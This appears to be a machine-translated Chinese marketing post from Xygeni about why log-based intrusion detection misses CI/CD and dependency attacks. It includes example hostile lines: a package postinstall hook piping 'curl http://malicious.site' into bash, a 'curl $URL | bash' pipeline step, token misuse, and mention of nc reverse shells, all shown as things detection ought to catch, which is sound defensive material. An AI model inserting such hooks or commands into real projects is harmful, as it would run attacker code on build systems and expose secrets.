为什么日志不够用：传统 IDS 对开发人员的局限性
大多数开发人员都依赖日志来发现问题。但如果你唯一的防御手段是基于日志的警报，那么你已经落后了。传统的入侵检测系统专注于边界入侵， 忽略攻击者如何进入 CI/CD pipelines、容器和开源包。
以开发人员为中心的方法应该做的不仅仅是监控日志；它应该了解您的代码、您的构建和您的工作流程。
传统 IDS 缺少以下功能：
- 跨工作或分支机构重复使用凭证
- 构建代理或云角色之间的横向移动
- 未经授权的命令被注入测试运行器
攻击者不会留下明显的日志。他们会混入构建过程、修改脚本或篡改依赖项。因此，您需要一个针对代码编写、部署和交付方式构建的入侵和检测系统，而不仅仅是针对基础设施。
绕过基本入侵检测系统的真实攻击路径
以下是攻击者常用的绕过基于日志的方法：
示例 1：开源依赖劫持
scripts:
postinstall: curl http://malicious.site | bash
⚠️如果您的 IDS 不扫描依赖行为，则不会触发警报。
示例 2：未经授权访问内部开发脚本
curl -H "Authorization: $CI_TOKEN" https://internal.dev/scripts/build.sh
⚠️ 如果 IDS 没有监控每个作业上下文的令牌使用情况，那么就会错过这一点。
示例 3：CI pipeline 滥用
攻击者添加静默 chmod + x 和 nc 作业步骤内的命令来建立 反壳. 这些真实案例绕过了基本的入侵和检测系统设置，因为传统的 IDS 缺乏对代码行为的可见性，并且 CI/CD 逻辑。
现代入侵检测系统应该捕捉哪些 CI/CD
开发人员需要一个入侵检测系统，可以洞察网络之外的情况 代码到产品的路径. 现代入侵检测系统 CI/CD 必须：
- 显示器 命令执行 内 pipelines
- 追踪 凭证访问 跨工作和阶段
- 演出 包检查 在容器和临时运行器内
- 检测 构建异常，例如新的出站域名或修改的工具
计费示例： Pipeline级检测
- name: Check for unusual downloads
run: |
curl -s $URL | bash # suspicious download
开发人员友好的 IDS 应该在以下情况下标记此行为 CI/CD. 您的入侵和检测系统应该跟踪构建作业行为，例如代码更改、更改的测试逻辑和修改的脚本，而不仅仅是流量异常。
将 IDS 嵌入到开发工作流程中而不会减慢交付速度
安全工具往往会拖慢开发团队的速度。但一个好的入侵检测系统可以毫无阻碍地嵌入到开发团队中：
- 创建 hooks：将构建事件连接到 IDS 监控触发器
- 结构化审计跟踪：记录命令跟踪以进行验证，而不是指责
- 上下文警报：对新行为发出警报，而不仅仅是已知的不良模式
- 分阶段警报：让开发人员在升级之前进行调查
DevSecOps 示例：
- name: Monitor for unusual env variable use
run: |
if [[ "$SECRET" != "" ]]; then echo "Flagged usage"; fi
这确保了使用模式的可见性，而不会阻止构建。 目标不是添加更多警报；而是建立开发人员意识，在不中断流程的情况下发现有意义的风险。
使用 Xygeni 超越日志：跟踪、检测、缓解
日志显示发生了什么。 西吉尼 展示事情发生的方式和原因。 Xygeni 通过以下方式增强您的入侵和检测系统：
- CI/CD感知流量关联
- 代码到部署的可追溯性
- 包中的安装后脚本检测
- 非常规信号检测 用于构建时命令
- 实时查看未经授权的更改
无论是被篡改的依赖项、构建中的新 shell 命令还是令牌滥用，Xygeni 都会将该行为与您的整个环境关联起来。 入侵检测系统应该这样工作：代码感知， pipeline-智能且对开发人员友好。
超越日志：构建开发人员可以信赖的系统
如果只检查日志，那么就是在损害造成后才检查。开发人员需要一个入侵检测系统，它能够理解代码的流程、构建的工作原理，以及 攻击者如何移动 CI/CD. 您的 IDS 应该：
- 捕捉建筑中的风险，而不仅仅是交通
- 跟踪命令级别的更改
- 检测存储库、软件包和脚本中的真实威胁
使用 Xygeni 嵌入适合您的团队编写和发送代码的方式的现代入侵和检测系统，以防止攻击者未被发现。 安全构建，快速交付。在威胁所在之处进行检测：在您的 pipelines.
